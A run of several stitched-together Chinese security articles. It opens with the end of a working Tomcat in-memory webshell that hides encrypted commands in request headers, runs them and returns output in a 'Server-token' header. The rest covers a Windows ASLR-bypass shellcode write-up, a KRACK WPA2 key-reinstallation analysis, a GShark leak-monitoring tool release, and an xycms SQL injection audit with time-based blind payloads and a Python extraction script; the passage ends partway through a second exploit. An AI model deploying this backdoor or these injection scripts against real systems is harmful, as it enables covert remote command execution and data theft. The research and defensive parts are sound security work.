} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static String encode(String key, String content) {
try {
javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));
byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8);
byte[] byteAES = cipher.doFinal(byteEncode);
return base64Encoder.encodeToString(byteAES);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException e) {
}
clazz = clazz.getSuperclass();
}
return null;
}
public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception e) {
}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}
}
return new Object();
}
public class threadexcutor extends ThreadPoolExecutor {
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}
public String getRequest() {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
String a = new String(heapByteBuffer.array(), "UTF-8");
if (a.indexOf("blue0") > -1) {
System.out.println(a.indexOf("blue0"));
System.out.println(a.indexOf("\r", a.indexOf("blue0")) - 1);
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("\r", a.indexOf("blue0")) - 1);
b = decode(DEFAULT_SECRET_KEY, b);
return b;
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
return new String();
}
public void getResponse(byte[] res) {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors");
for (Object tmp_object : objects) {
RequestInfo request = (RequestInfo) tmp_object;
Response response = (Response) getField(getField(request, "req"), "response");
response.addHeader("Server-token", encode(DEFAULT_SECRET_KEY,new String(res, "UTF-8")));
}
} catch (Exception var11) {
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
}
@Override
public void execute(Runnable command) {
// System.out.println("123");
String cmd = getRequest();
if (cmd.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec(cmd);
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = "";
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
if (s != "") {
byte[] res = s.getBytes(StandardCharsets.UTF_8);
getResponse(res);
}
} catch (IOException e) {
e.printStackTrace();
}
}
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
%>
<%
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
%>
**后记**
抛砖引玉，按照这个思路，Connector中应该还有其他组件内存马可以实现。
请忽略我拙劣的coding能力。
感谢su18师傅和园长的鞭策。
参考：
<https://juejin.cn/post/6844903874122383374>
<https://cloud.tencent.com/developer/article/1745954>
<http://chujunjie.top/2019/04/21/Tomcat源码学习笔记-Connector组件-一/> | 社区文章 |
# 【技术分享】浅谈ASLR和Shellcode的那些事儿
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://woumn.wordpress.com/2016/10/12/bypassing-aslr-on-windows-into-a-reverse-shell/>
译文仅供参考，具体内容表达以及含义原文为准。
**传送门**
[**【技术分享】教你如何拿到RedHat8服务器的Shell**
****](http://bobao.360.cn/learning/detail/3103.html)
温馨提示：在此之前，我曾撰写过一篇关于反向shell的文章。在这篇文章中，我将会引用到此前这篇文章中的部分内容，所以我建议各位同学在阅读本文之前先查阅一下那篇文章[[文章传送门]](http://bobao.360.cn/learning/detail/3103.html)，以节省各位的宝贵时间。
**前言**
在这篇文章中，我将会针对一种新型的堆栈环境来进行安全分析。除此之外，我还会告诉大家如何自己构建一个payload来绕过ASLR（随机分配地址空间技术），整个过程与我在此前那篇文章中所描述的方法有一些略微的变化。
注：在我进行测试Windows
7系统环境中，DEP（数据执行保护）功能已经被禁用了。DEP是一套软硬件技术，它不仅能够防止存储在栈内存中的操作码得到直接执行，而且它还能够在内存上执行额外的安全检查以帮助防止恶意代码在目标系统中运行。
**
**
**了解Windows架构下的堆栈环境**
相较于Linux而言，Windows的堆栈架构则稍有不同。除了堆栈空间的架构有区别之外，Windows的调用规则也与Linux平台不一样。我待会儿会跟大家解释这些不同之处对我们意味着什么，但是在此之前，我们要先了解一下不同环境下的堆栈架构，以及各个方法之间相互调用的规则。
需要注意的是，被调用的方法（method）需要负责清除堆栈空间中所有与之相关的数据。这时我们就要明确区分出函数的主调用者和被调用者了，这一点非常的重要，因为这些函数会将数据写入我们的堆栈。
在Linux平台下，我们是以调用者的身份进行操作的，而这就意味着某个方法需要通过调用其他的方法来将正确的操作指令压入栈中，当其他的方法返回了相应的值之后，系统才会通过调用此前压入栈中的命令来清除堆栈中相关的数据。但是我们可以看到，Windows平台则是以一种被调用者的模式运行的。这也就意味着，被调用的方法将要负责清理堆栈中的相关数据。所以，Windows平台下的堆栈示意图与我们之前那张Linux环境下的堆栈结构图片大致相似，但是仍然有一些细微的区别。
Linux的堆栈结构如下图所示：
Windows的堆栈结构如下图所示：
从这张图片中我们可以看到，EIP寄存器之后还有一些数据，而ESP寄存器之后还有一些队列数据。而在ESP寄存器之前的数据就是负责清除数据的操作码，这些操作码的插入位置需要根据不同系统架构的调用规则来进行区分。我之所以要给大家介绍这些内容，是因为这些知识对于我们之后编写漏洞利用代码来说是非常重要的。所以在我们继续讲解之前，我要帮各位同学填补这部分的知识空缺。
实际上，从我们的角度来看，Windows的堆栈架构与Linux的堆栈架构有着惊人地相似之处。从广义的角度来讲，两者而唯一的区别就是Windows堆栈有ASLR。所以，这就是我们这篇文章中的主角，我们将会尝试使用这篇文章中所要介绍的漏洞利用方法来尝试绕过ASLR。接下来，让我们开始吧！
**构建恶意输入**
与之前RedHat8的漏洞利用过程非常相似，但我们这次只需把注意力放在一个缓冲区溢出漏洞的身上。虽然该缓冲区的具体长度要稍后才能确定，但是我们现在至少要获取到足够的信息以了解该缓冲区的实际架构。
首先，我们要解决如何绕过ASLR的问题。为此，我们要使用一个简单的机制（jmp
esp），这样我们就可以跳转到ESP寄存器指向的地址。这也就意味着，我们在不知道ESP寄存器指向地址的情况下实现了相对跳转。这是一个好消息，因为就算我们的堆栈帧会存储在堆栈空间的随机位置上，但总是会有一个指针指向栈底，我们可以通过一个简单的操作码去访问这个指针地址。
所以，只要我们能够找到“jump esp”指令，我们就可以将其放入堆栈的EIP寄存器中。请记住，在这种情况下，
EIP寄存器所指向的任何代码都将得到执行。剩下的就是那部分负责清除数据的代码了。实际上，我并不清楚这些代码是何时被压入栈中的。但是接下来，我们要确保的就是我们的payload会在这部分代码执行完毕之后正确运行。
最后一个问题就是我们shell代码的编码问题。我们的shell代码会被发送至目标主机，所以我们需要对其进行编码。由于我们的shell代码最终将会被执行，所以在执行之前肯定需要先进行解码，而解码后的代码长度肯定会增加。所以为了解决这个问题，我们要将ESP寄存器移动到堆栈空间的前段。具体如下图所示：
**恶意输入中所要使用的参数**
首先，我要说明的是Windows 7实际上采用的是小端存储模式。这一点对于我们构建返回地址（例如“jump esp”指令）是非常重要的。
我所要做的第一件事情就是确定缓冲区的长度，或者是我们需要覆盖EIP寄存器的长度。我们使用“./pattern_create.rb
5000”并将其发送至我们的服务器端。接下来，我们可以使用“./pattern_offset.rb
PATTERN”来重写EIP寄存器。这样一来，我们就能够知道用来覆盖EIP的恶意输入长度了，即4093。
我们可以在Narly中使用命令“!nmod”来列出堆栈中所有的数据包，我们只需要关注那些与ASLR无关的数据包即可。具体如下图所示：
**发生了什么事？**
在尝试了几个小时之后，我发现了一些不正常的现象。其实从一开始，EIP寄存器中的数据根本就没有被覆盖。而当我尝试使用NOPs去重写EIP时，系统却提示称我的payload结构有问题。在进行了改进之后，我决定使用“jump
esp”指令的地址来重写缓冲区。
在完成了改进之后，我又进行了一次测试。这一次，我又遇到了一个奇怪的问题。ESP现在指向的却是一堆垃圾数据，但是其中还包含有一小部分有效数据。
还记得吗？我曾在我们的payload代码前添加了一部分数据，并将ESP寄存器在栈内存中的地址向前推进了1000个字节，为的就是当我们执行exploit时防止其被覆盖。接下来，我们需要查看EIP寄存器所指向的内容。地址0x00d6c732中到底有什么？通过分析之后我发现，这是一个内存地址，它指向的是我的shell代码！具体的位置我在上图用红色的圈圈标出来了。
出于好奇，我在shell代码前添加了一个断点，然后再次发送我们的payload。令我惊讶的是，这一次WINgdb竟然暂停了，并且会等待我输入下一步运行指令。
我们的目的是为了绕过ASLR，而每当我启动服务器后，或者发送我的payload后，堆栈帧都会被随机分配至堆栈空间中。虽然我们能够成功地移动ESP寄存器的内存位置，而且也能够执行shell代码中的部分指令，但是系统仍然会报错。
**
**
**总结**
这篇文章中的漏洞利用方法和之前针对RedHat8的漏洞利用方法之间有很大的不同，因为当我尝试进行远程攻击时，这个漏洞利用方法仍然不起作用。我没有收到任何的错误提示信息，虽然通信连接建立成功了，但是我却没有接收到任何的响应数据，所以我只能假设是某个子进程挂掉了。 | 社区文章 |
作者：启明星辰ADLab
#### 1.概述
2017年10月，比利时安全研究员Mathy Vanhoef披露了无线网络协议WPA2存在高危漏洞，漏洞允许攻击者监听AP和接入点STA之间传输的Wi-Fi数据流量。作者公布了漏洞验证演示视频[1][2]。由于漏洞存在于WiFi协议层，理论上所有支持WPA2的客户端（桌面操作系统、移动OS、路由器、物联网设备等）都将受到“KRACK”攻击的影响（其透过WiFi传输的数据存在被篡改、嗅探的风险，诸如被攻击者的支付、财产账号、用户名、密码、邮件、照片等敏感信息可被截获，危害大影响范围广）。
启明星辰ADLab通过对全零密钥漏洞的分析成功重现“KRACK”攻击。
#### 2.协议简介
802.11i是IEEE工作组为无线网络802.11协议组定义的安全标准。WPA实现了IEEE
802.11i标准的大部分，是在802.11i完备之前替代WEP的过渡方案，后被WPA2取代[3]。WPA和WPA2都是基于802.11i，区别在于WPA2要求支持更安全的CCMP。WPA和WPA2均使用802.11i中定义的四次握手。
下图是客户端（Station, STA）连接接入点（Access Point, AP）的消息交互过程。
STA和AP在四次握手中协商会话密钥PTK（Pairwise Transient
Key），PTK是由PMK和PKE计算生成，而PMK由ANonce、SNonce和双方MAC地址等计算生成。PTK分为KCK，KEK和TK三部分，其中，KCK用于MIC校验，KEK用于加密GTK，TK为数据加密密钥。四次握手完成后，传输数据使用TK进行加密。
#### 3.漏洞原理
`wpa_supplicant`是linux系统下WiFi客户端，用于连接无线网络，Android
WiFi系统引入了`wpa_supplicant`，它的整个WiFi系统是以`wpa_supplicant`为核心来定义上层用户接口和下层驱动接口。
下图为`wpa_supplicant`版本发布时间线。Android 6.0 WiFi系统是基于v2.5，Android 6.0+
WiFi系统是基于v2.6。
v2.4版本引入了一个全零密钥漏洞。这个漏洞是由802.11标准中的一句话引起的，该标准间接建议在安装了TK之后从内存清除TK；2016年10月发布的V2.6对这个漏洞进行了一次修复，由于考虑不全面，代码仍然存在漏洞；在2017年10月发布的补丁中，最终修复了这个漏洞。下面结合代码对漏洞进行详细分析。
##### 3.1.V2.4(2.5)
`wpa_supplicant` 2.4(2.5) 四次握手中的状态转移如下图所示：
1. 当连接到无线网络进行四次握手的时候，首先进入PTK_INIT状态。
2. 当接收到Msg1时，进入PTK-START阶段。wpa_supplicant会随机生成一个SNonce，计算一个临时PTK（TPTK），并且在Msg2中将SNonce发送给AP。
3. 当接收到Msg3时，如果MIC和replay counter校验成功，进入PTK-NEGOTIATING状态。然后将TPTK赋值给PTK，并发送Msg4。
4. 接着进入PTK-DONE阶段，安装PTK和GTK，并且打开802.1x的端口，使wpa_supplicant和AP正常接收和发送数据包。
由于无线网络存在干扰，可能会造成数据帧的丢失，因此在802.11i规定如果AP没有收到Msg2和Msg4，会相应的重传Msg1和Msg3。从图中可以看出，当完成PTK安装后，如果收到重传的Msg3，会重新安装PTK。
当`wpa_supplicant`收到Msg3后，会调用`wpa_supplicant_install_ptk`函数安装PTK，其中`wpa_sm_set_key`函数负责将密钥PTK.TK安装到驱动。在supplicant
v2.4(v2.5)中，在调用`wpa_sm_set_key`函数完成PTK的安装后，执行`os_memset(sm->ptk.tk, 0,
WPA_TK_MAX_LEN)`，对PTK.TK进行清零操作。
如果攻击者劫持Msg3或Msg4，造成Msg3的重传，根据状态转移图，STA会重新安装PTK，而PTK.TK之前已经被清零，导致STA安装全零加密密钥。
………
………
##### 3.2.V2.6
下面结合V2.5和V2.6的源代码进行分析。 （1）V2.6在wpa_sm结构体中添加了一个标志位`tk_to_set`。
（2）V2.6修改了`wpa_supplicant_install_ptk`函数。在安装完PTK后，将`tk_to_set`赋值为0，当再次进入该函数时，如果`tk_to_set==0`，直接return，不再重装PTK。
（3）V2.6修改`wpa_supplicant_process_1_of_4`函数。当每次收到Msg1时，计算tptk，并将`tk_to_set`重置为1。
………………………….
针对V2.6，攻击者通过在重传的Msg3之前插入一个伪造的Msg1，仍然可以实现全零密钥的安装。虽然STA首次安装PTK后对`tk_to_set`进行清零，但是紧接处理伪造的
Msg1时，将`tk_to_set`重置为1，因此在最后处理重传Msg3时，成功绕过`wpa_supplicant_install_ptk`函数的`tk_to_set`条件判断代码。
在2017年10月发布的补丁中，删除了`wpa_supplicant_process_1_of_4`函数中的`sm->tk_to_set =
1;`语句，修复了全零密钥漏洞。
#### 4.漏洞重现
启明星辰ADLab “KRACK”重现视频地址为：<https://v.qq.com/x/page/m0538vcwqbb.html> 。
视频中出现的步骤及提示字幕：
1. 本实验使用Nexus6手机作为被攻击设备。
2. 首先，Nexus连接到真实AP(SSID=wap，加密方式是WPA2，信道10，频率2457)。
3. 接着，运行Hostapd创建克隆AP(SSID=wap，加密方式是WPA2，信道3，频率2422)。
4. 同时，启动wireshark监听克隆AP网卡，捕获客户端数据。
5. 运行攻击脚本，指定AP的SSID和Nexus的Mac地址。
6. 运行ssltrip,进行Https降级。
a. wireshark显示了建立连接的数据包。
b. 攻击成功，Nexus连接到克隆wap，频率2422。
c. 访问uk.match.com 显示当前连接为http连接，输入测试用户名和密码。
d. wireshark可以成功捕获用户名和密码。
e. 关闭Hostapd（频率2422）。
f. 重新连接到真实wap（频率2457），再次访问uk.match.com 显示连接为https连接。
下表中列出了重现视频中使用的设备：
#### 5.漏洞编号及修复情况
“KRACK”涉及的相关漏洞编号：
* CVE-2017-13077: 在四次握手中重装成对加密密钥（PTK-TK）
* CVE-2017-13078: 在四次握手中重装组密钥（GTK）
* CVE-2017-13079: 在四次握手中重装完整组密钥（IGTK）
* CVE-2017-13080: 在组密钥握手中重装组密钥（GTK）
* CVE-2017-13081: 在组密钥握手中重装完整组密钥（IGTK）
* CVE-2017-13082: 接受重新传输的快速BSS切换（FT）重新关联请求，重装成对加密密钥（PTK-TK）
* CVE-2017-13084: 在PeerKey握手中重装STK密钥
* CVE-2017-13086: 在TDLS（Tunneled Direct-Link Setup）握手中重装TDLS PeerKey（TPK）
* CVE-2017-13087: 处理无线网络管理（WNM）休眠模式响应帧时重装组密钥（GTK）
* CVE-2017-13088: 处理无线网络管理（WNM）休眠响应帧时重装完整组密钥（IGTK）
修复情况：
2017年10月2日，Linux的hostapd和wpa_supplicant 补丁已公布，详见
<https://w1.fi/security/2017-1/>。
2017年10月10日，微软在Windows 10 操作系统中发布补丁 KB4041676。
苹果在最新的 beta 版本iOS、macOS、 tvOS和 watchOS中修复了无线网络安全漏洞。
#### 6.参考链接
[1] <https://www.krackattacks.com/>
[2] <https://papers.mathyvanhoef.com/ccs2017.pdf>
[3] <https://zh.wikipedia.org/wiki/WPA>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
**作者：madneal**
GShark
作为一款开源的敏感信息监测工具其实差不多维护也有两年多的时间。这款产品其实笔者在自己的公司或者平常都在使用，也通过这个工具发现多多起内部的信息泄露事件以及外部的一些的信息泄露事件。其实这种类似的开源工具数不胜数，大家的核心功能其实就是监控
Github 上面的信息，但是笔者要想把这种产品做得更好一点，就要从功能性、易用性角度来做进一步拓展。最近，对
[GShark](https://github.com/madneal/gshark)
做了较大的重构，前后端都完成了比较大的重构，之前老的版本也有写过[文章](https://mp.weixin.qq.com/s/rKdz9V1Vx548FvPHwNBn0Q)介绍，所以关于这个工具的起源就不多介绍了，主要对这次重构和新的架构做介绍。
## 架构
目前 GShark 已经是一个前后端分离的项目，之前因为前端通过后端模板直接渲染的，所以在前端的功能性以及美观性都会差很多。新的重构是基于 [gin-vue-admin](https://github.com/flipped-aurora/gin-vue-admin)，技术栈是后端通过 gin
实现，前端通过 vue-elemment 来实现。
所以架构主要就分为前端和后端两个部分，而后端则分为 web 服务以及敏感信息的扫描服务。新的架构具有以下特点：
* 细粒度的权限控制，更好的安全性，包括菜单的权限设置以及 API 的权限设置
* 丰富的前端功能，CRUD 更简单
* 搜索源和之前保持一致，支持 github, gitlab 以及 searchcode
## 部署
之前就有想使用 [GShark](https://github.com/madneal/gshark)
的同学来和我反映，其实之前的编译就已经很简单了。但是因为有些人不太熟悉
go，所以觉得编译还是有一些问题。这一次，笔者专门写了一个脚本来发布三个操作系统下的工具包，所以直接使用即可，开箱即用，即使你不安装 go 也无所谓。
rm -rf ./releases/*
cd web
npm run build
cd ../
# build for mac
cd server
GOOS=darwin GOARCH=amd64 go build
cd ../releases
mkdir gshark_darwin_amd64
cd gshark_darwin_amd64
mv ../../server/gshark .
cp -rf ../../server/resource .
cp ../../server/config-temp.yaml config.yaml
cd ../../
cp -rf ./web/dist ./releases/gshark_darwin_amd64
7z a -r ./releases/gshark_darwin_amd64.zip ./releases/gshark_darwin_amd64/
# build for windows
cd server
GOOS=windows GOARCH=amd64 go build
cd ../releases
mkdir gshark_windows_amd64
cd gshark_windows_amd64
mv ../../server/gshark.exe .
cp -rf ../../server/resource .
cp ../../server/config-temp.yaml config.yaml
cd ../../
cp -rf ./web/dist ./releases/gshark_windows_amd64
7z a -r ./releases/gshark_windows_amd64.zip ./releases/gshark_windows_amd64/
# build for linux
cd server
GOOS=linux GOARCH=amd64 go build -o gshark
cd ../releases
mkdir gshark_linux_amd64
cd gshark_linux_amd64
mv ../../server/gshark .
cp -rf ../../server/resource .
cp ../../server/config-temp.yaml config.yaml
cd ../../
cp -rf ./web/dist ./releases/gshark_linux_amd64
7z a -r ./releases/gshark_linux_amd64.zip ./releases/gshark_linux_amd64
rm -rf ./releases/gshark*/
这个是 build 的脚本，主要是实现跨平台的编译并且将前端文件夹打包进去，然后拿到这个安装包解压即可使用。目前 GShark
的发布应该只需要两个前提条件：
* nginx （其实这个不需要也可以，主要是为了将前端文件发布）
* mysql（目前仅支持 mysql）
### 发布步骤
Step 1:
下载[压缩包](https://github.com/madneal/gshark/releases)，然后将压缩包解压。
Step 2:
修改二进制文件的权限，以
[ghsark_darwin_amd64](https://github.com/madneal/gshark/releases/download/v0.7/gshark_darwin_amd64.zip)为例，解压后修改二进制文件权限
`chmod +x gshark`，然后启动服务 `./gshark web`。
Step 3:
将前端文件发布到 nginx 的根目录下，就是将压缩包内的 dist 文件夹的文件拷贝到 nginx 根目录下，另外为了反向代理后端服务还需要修改一下
nginx 的配置，加入以下配置：
location /api/ {
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
rewrite ^/api/(.*)$ /$1 break;
proxy_pass http://127.0.0.1:8888;
}
这样启动完 nginx
后，整个发布过程就完成了，关于整个发布流程，笔者也在B站上发布了一个[教学视频](https://www.bilibili.com/video/BV1Py4y1s7ap/)，如果感兴趣的还可以再去看看。
## 使用
如果其实之前使用过 GShark 的用户，对于功能的使用应该有多了解，这里着重介绍一些增加的功能。在上面的发布完成之后，第一次进入应用
`http://localhost:8080`，会需要初始化数据库，只要输入数据库用户名、密码以及数据库名即可。进入系统，首先是服务器运行状态的监控界面。系统主要分为几个菜单，当然有一些可能还是有冗余，后续可能会考虑删除掉，其实核心功能主要就是搜索结果、管理、以及超级管理员菜单。
[
和之前一样，如果需要开启 scan 服务，那么首先需要添加 Github 或者 Gitlab 的 token，这个可以在
token管理菜单下进行添加。另外也需要根据自己的需求在规则管理里添加规则：
当然你也可以配置过滤规则，主要是文件夹后缀的过滤，以及选择是否搜索 fork
的代码仓库。另外值得讲的就是角色管理，通过角色管理可以创建任意角色，每种角色对应的菜单权限或者 API 权限都可以自由设置
关于这个系统的整体介绍也可看笔者在B站发布的这个[视频](https://www.bilibili.com/video/BV17f4y1p7za/)。
## 总结
目前基于新的框架做的重构对于前端方面说可以说是做了非常大的改善，不管是在功能性上亦或是美观性都强了不少。另外，由于完善的权限控制，这也对于系统的控制性的加强也有帮助。同时，由于技术栈的基础，后续开发也会更加的便捷。后续的计划可能是增加更多的搜索源并且修复现在存在的一些小
BUG 吧。
## 404StarLink 2.0 - Galaxy
GShark 是 404Team
[星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)中的一环，如果对 GShark
有任何疑问又或是想要找小伙伴交流，可以参考星链计划的加群方式。
* <https://github.com/knownsec/404StarLink2.0-Galaxy#community>
* * * | 社区文章 |
记一次xycms v1.9的审计，文章有写的不好的地方，大佬们轻喷。
# 网站目录结构
├── Conf（连接数据库的一些配置文件）
├── Libs（一些公共函数）
├── Statics（js的一些静态文件）
├── Style（css样式）
├── add_book.php
├── add_do.php
├── code.php
├── foot.php
├── index.php
├── install（网站安装目录）
├── system（网站后台，审计的重点）
└── top.php
# 后台SQL注入漏洞
## 第一处sql注入
`/system/add_book_class.php`，关键代码如下，这里没有任何的过滤
......
......
......
<?php
if($_GET["act"]==ok){
$siteinfo = array(
'title' => $_POST['title'],
'c_order' => $_POST['c_order']
);
$db->insert("****cms_book_class", $siteinfo);
//$db->close();
echo "<script language='javascript'>";
echo "alert('恭喜您,信息内容添加成功!');";
echo " location='manage_book_class.php';";
echo "</script>";
}
?>
insert函数在`/Libs/Class/mysql.class.php`，内容如下，这里也并没有对插入数据库的函数进行过滤
function insert($tableName, $column = array()) {
$columnName = "";
$columnValue = "";
foreach ($column as $key => $value) {
$columnName .= $key . ",";
$columnValue .= "'" . $value . "',";
}
$columnName = substr($columnName, 0, strlen($columnName) - 1);
$columnValue = substr($columnValue, 0, strlen($columnValue) - 1);
$sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)";
$this->query($sql);
}
payload：
POST /system/add_book_class.php?act=ok HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://localhost:81
Connection: close
Referer: http://localhost:81/system/add_book_class.php
Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6
Upgrade-Insecure-Requests: 1
title=',case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end)#&c_order=1
这里`title`和`c_order`参数都存在sql注入
获取数据库名的exp如下：
import requests
import time
url = 'http://localhost:81/system/add_book_class.php?act=ok'
# 这里省去了登录的爬虫，因为存在验证码，ocr比较麻烦，所以登录成功后，把cookie替换一下即可
cookie = {'Cookie': 'PHPSESSID=npvaign44srcvlhjglh9srrqo6'}
def binary_search_sql(start,end,payload,length=2):
name = ''
for i in range(1,length+1):
left = start
right = end
while 1:
mid = (left + right) // 2
if mid == left:
name += chr(mid)
break
start_time = time.time()
full_payload = payload.format(num1=str(i),num2=str(mid))
requests.post(url=url,data={'title':full_payload,'c_order':'1'},headers=cookie)
print(full_payload)
if time.time() - start_time > 2.5:
right = mid
else:
left = mid
return name
# 这里爆破库名长度
# 5
database_length_payload = "',case when (ascii(mid((length(database())),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
database_length = binary_search_sql(48,57,database_length_payload,1)
print('database_length:'+database_length)
# 这里爆破库名
#
database_payload = "',case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
print('database_name:'+binary_search_sql(33,127,database_payload,int(database_length)))
## 第二处sql注入
`/system/loginpass.php`关键代码如下
......
......
......
$login_ip=getIp();
$sql="select * from admin_user where u_name='".$m_name."' and u_pwd='".$m_pwd."'";
$result=$db->query($sql);
if(!mysql_num_rows($result)==0){
$_SESSION["m_name"] = $m_name;
$db->query("UPDATE admin_user SET login_nums=login_nums+1 where u_name='".$m_name."'");
$login_info=array(
'u_name'=>$m_name,
'login_date'=>strtotime(date('Y-m-d')),
'login_ip'=>$login_ip
);
$db->insert("admin_login_log",$login_info);
$db->close();
ok_info('***cms.php','恭喜您，登陆成功!');
}
......
......
......
`getIp()`函数如下
function getIp() {
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else
if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else
if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else
if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return ($ip);
}
这里对ip没有做任何的过滤限制，我们可以用http头`X-Forwarded-For`，对输入的ip进行控制，也就是说，`loginpass.php`中的变量`$login_ip`是可控的
`insert`函数如下
function insert($tableName, $column = array()) {
$columnName = "";
$columnValue = "";
foreach ($column as $key => $value) {
$columnName .= $key . ",";
$columnValue .= "'" . $value . "',";
}
$columnName = substr($columnName, 0, strlen($columnName) - 1);
$columnValue = substr($columnValue, 0, strlen($columnValue) - 1);
$sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)";
$this->query($sql);
}
这里对插入的数据也没有做任何限制
payload如下
POST /system/loginpass.php HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://localhost:81
Connection: close
Referer: http://localhost:81/system/index.php
Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 1' and case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end and '
admin=1&password=1&checkcode=4K23
也就是说，我们只要能正确识别验证码，`X-Forwarded-For`中提交盲注的内容，就可以进行sql注入
注入数据库名的`exp.py`
这里必须要安装`pytesseract库`和`tesseract`，这样的话ocr识别很快
import requests
from PIL import Image
import pytesseract
from time import time
r = requests.Session()
url_code = 'http://localhost:81/system/code.php?act=yes'
url_login = 'http://localhost:81/system/loginpass.php'
length = ''
name = ''
# 这里获取验证码，并将原图转为灰度图像，然后再指定二值化的阈值
def code():
